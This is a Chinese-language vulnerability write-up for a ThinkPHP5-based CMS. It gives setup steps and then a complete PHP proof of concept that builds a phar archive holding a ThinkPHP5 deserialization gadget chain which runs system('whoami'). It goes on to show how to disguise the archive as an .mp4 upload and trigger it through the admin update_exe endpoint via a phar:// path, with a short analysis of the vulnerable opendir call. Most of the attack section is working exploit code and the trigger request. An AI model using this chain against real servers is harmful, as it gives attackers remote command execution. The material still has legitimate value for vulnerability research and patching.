环境搭建
下载源码:http://down.chinaz.com/soft/39542.htm
创建数据库,导入sql

/config/database.php
修改数据库连接信息

安装成功

漏洞复现
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <?php namespace think{ abstract class Model{ private $withAttr = []; private $data = []; public function __construct() { $this->withAttr=['a'=>'system']; $this->data=['a'=>'whoami']; } }
} namespace think\model{ use think\Model; class Pivot extends Model{
} } namespace think\process\pipes { use \think\Model\Pivot; use think\Process; abstract class Pipes {
}
class Windows extends Pipes { private $files = []; public function __construct() { $this->files=[new Pivot()]; } } }
namespace { $phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$a = new think\process\pipes\Windows();
$phar->setMetadata($a); $phar->addFromString("exp.txt", "test");
$phar->stopBuffering(); } ?>
|
运行poc生成phar.phar文件,然后把后缀名改为mp4

登录后台,在编辑文章内容中上传视频文件

上传phar.mp4文件

点击上传视频的按钮得到回显地址

利用phar触发反序列化,成功执行命令
1
| http://localhost/admin.php?s=/update/update_exe?upath=phar://./uploads/video/20210816/7512b9eb69b9a05a6fb461835f86630a.mp4
|

漏洞分析
/application/admin/controller/Update.php
update_exe将可控参数$upath传入opendir,可触发phar反序列化,配合thinkphp5反序列化利用链即可实现RCE。
